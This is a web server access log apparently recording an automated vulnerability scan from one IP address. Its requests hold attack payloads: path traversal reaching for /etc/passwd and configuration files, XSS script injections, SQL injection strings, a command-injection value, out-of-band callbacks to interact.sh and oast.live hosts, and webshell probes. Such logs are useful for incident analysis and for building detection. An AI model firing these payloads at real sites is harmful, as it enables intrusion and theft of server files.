[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?redirect=http%3A%2F%2Fwww.interact.sh HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webclient/ HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_vti_inf.html HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /dataSetParam/verification;swagger-ui/ HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /exchweb/bin/redir.asp?URL=https://interact.sh HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /htmlcode/html/indexdefault.asp HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /bsh.servlet.BshServlet HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jshERP-boot/user/getAllList;.ico HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_pro_desk&include_file=../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /mobile/plugin/browser.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /names.nsf/People?OpenView HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /public/index.php/material/Material/_download_imgage?media_id=1&picUrl=./../config/database.php HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /search.htm?searchstring2&searchstring=%27%3E%22%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /src/addressbook.php?%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.do?message=865876*984339 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/sniplets/modules/syntax_highlight.php?libpath=../../../../wp-config.php HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /plus/weixin.php?signature=da39a3ee5e6b4b0d3255bfef95601890afd80709&timestamp&nonce HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;/root/kerbynet.cgi/scripts/getkey%20../../../etc/passwd;%22 HTTP/1.1" 199
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/sniplets/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /get_dkey.php?user=admin HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /webadm/?q=moni_detail.do&action=gragh HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /seeyon/htmlofficeservlet HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /seeyon/webmail.do?method=doDownloadAtt&filename=index.jsp&filePath=../conf/datasourceCtp.properties HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_agora&task=profile&page=avatars&action=../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /uapjs/jsinvoke/?action=invoke HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /login.action HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webshell4/login.php?errcode=0&login=\\%22%20onfocus=alert(document.domain);%20autofocus%20\\%22&err=U HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_cmimarketplace&Itemid=70&viewit=/../../../../../../etc/passwd&cid=1 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup/auto.php?password=NzbwpQSdbY06Dngnoteo2wdgiekm7j4N&path=../backup/auto.php HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api.php?action=logout&forward=http://interact.sh HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /upgrade/detail.jsp/login/LoginSSO.jsp?id=1%20UNION%20SELECT%20md5(999999999)%20as%20id%20from%20HrmResourceManager HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_projectfork&section=../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /components/com_moofaq/includes/file_includer.php?gzip=0&file=/../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /servlet/codesettree?flag=c&status=1&codesetid=1&parentid=-1&categories=~31~27~20union~20all~20select~20~27hongjing~27~2c~40~40version~2d~2d HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?appservlang=%3Csvg%2Fonload=confirm%28%27xss%27%29%3E HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_rsfiles&task=files.display&path=../../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /redirect.php/%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E?subject=server&server=test HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /servlet/~ic/bsh.servlet.BshServlet HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /level/16/exec/show/config/CR HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /plugins/content/jw_allvideos/includes/download.php?file=../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_kif_nexus&controller=../../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /src/redirect.php?plugins[]=../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?m&c=AjaxPersonal&a=company_focus&company_id[0]=match&company_id[1][0]=test\")+and+extractvalue(1,concat(0x7e,md5(999999999)))+--+a HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /axis2-admin/login HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/GetSrc HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_biblestudy&id=1&view=studieslist&controller=../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /weaver/org.apache.xmlrpc.webserver.XmlRpcServlet HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /cgi-bin/rpc HTTP/1.1" 199
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /awstats/awredir.pl?url=interact.sh HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /common/download/resource?resource=/profile/../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /comm.php?id=../../../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /zentao/user-login.html HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /horde/util/barcode.php?type=../../../../../../../../../../../etc/./passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?lang=../../../../../usr/local/php/pearcmd HTTP/1.1" 3426
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sap/bc/BSp/sap/menu/fameset.htm?sap--essioncmd=close&sapexiturl=https%3a%2f%2finteract.sh HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /web/xml/webuser-auth.xml HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_omphotogallery&controller=../../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /view/action/download_file.php?filename=../../../../../../../../../etc/passwd&savename=ppjei.txt HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /adm/file.cgi?next_file=%2fetc%2fpasswd HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_album&Itemid=128&target=../../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webui/?g=sys_dia_data_down&file_name=../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wgarcmin.cgi?NEXTPAGE=D&ID=1&DOC=../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /authenticationserverservlet HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cs.html?url=http://www.interact.sh HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /CFIDE/wizards/common/_logintowizard.cfm?%22%3E%3C%2Fscript%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public/index.php?s=/index/qrcode/download/url/L2V0Yy9wYXNzd2Q= HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /e/ViewImg/index.html?url=javascript:alert(1) HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /scripts/setup.php HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?currentpath=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /guest_auth/guestIsUp.php HTTP/1.1" 226
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /portal/attachment_clearTempFile.action?bean.RecId=1')+AND+EXTRACTVALUE(534543,CONCAT(0x5c,md5(999999999),0x5c))+AND+('n72Yk'='n72Yk&bean.TabName=1 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //conn.php.swn HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /adm/krgourl.php?DOCUMENT_ROOT=http://d5g6to2hausk1oj0j65gxmfbn8q331xpz.oast.live HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_jashowcase&view=jashowcase&controller=../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_jcollection&controller=../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_gcalendar&controller=../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_rokdownloads&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_communitypolls&controller=../../../../../../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_abbrev&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_jeformcr&view=../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_joomlapicasa2&controller=../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_cartweberp&controller=../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_hsconfig&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_joomlaupdater&controller=../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_jresearch&controller=../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /CookieAuth.dll?GetLogon?url=%2Fexchweb%2Fbin%2Fredir.asp%3FURL%3Dhttps%3A%2F%2Finteract.sh&reason=0 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Electron/download/windows/%5Cwindows%5Cwin.ini HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_jukebox&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_janews&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_ckforms&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_userstatus&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_jvideodirect&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_loginbox&view=../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_news_portal&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_weberpcustomer&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_vjdeo&controller=../../../../../../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public/index.php/home/file/user_pics HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_jprojectmanager&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_webtv&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/uploads/p3d/380DIWwRViOJZ7OTqBE3J0waWxL.php HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /src/options.php?optpage=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_addressbook&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login/login.do?message=865876*984339 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_mmsblog&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /login.html HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_preventive&controller==../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /status?full=true HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_sweetykeeper&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_jfeedback&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_dwgraphs&controller=../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_alphauserpoints&view=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_svmap&controller=../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_jinventory&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_sebercart&view=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_horoscope&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_photobattle&view=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_advertising&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /seeyon/test123456.jsp?pwd=asasd3344&380DICVFBCSIC7V9Xd3XhzdsD9f=ipconfig HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_tweetla&controller=../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_shoutbox&controller=../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_jacomment&view=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //database.php.swn HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /380DIGJUTRdSDqWgA9pNc4QqZsN.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /red2301.html?RedirectUrl=http://interact.sh HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_redtwitter&view=../../../../../../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_perchacategoriestree&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_zimbcomment&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_smartsite&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/awstats/awredir.pl?url=interact.sh HTTP/1.1" 199
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_javoice&view=../../../../../../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_noticeboard&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /axis2/axis2-admin/login HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_mtfireeagle&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_matamko&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
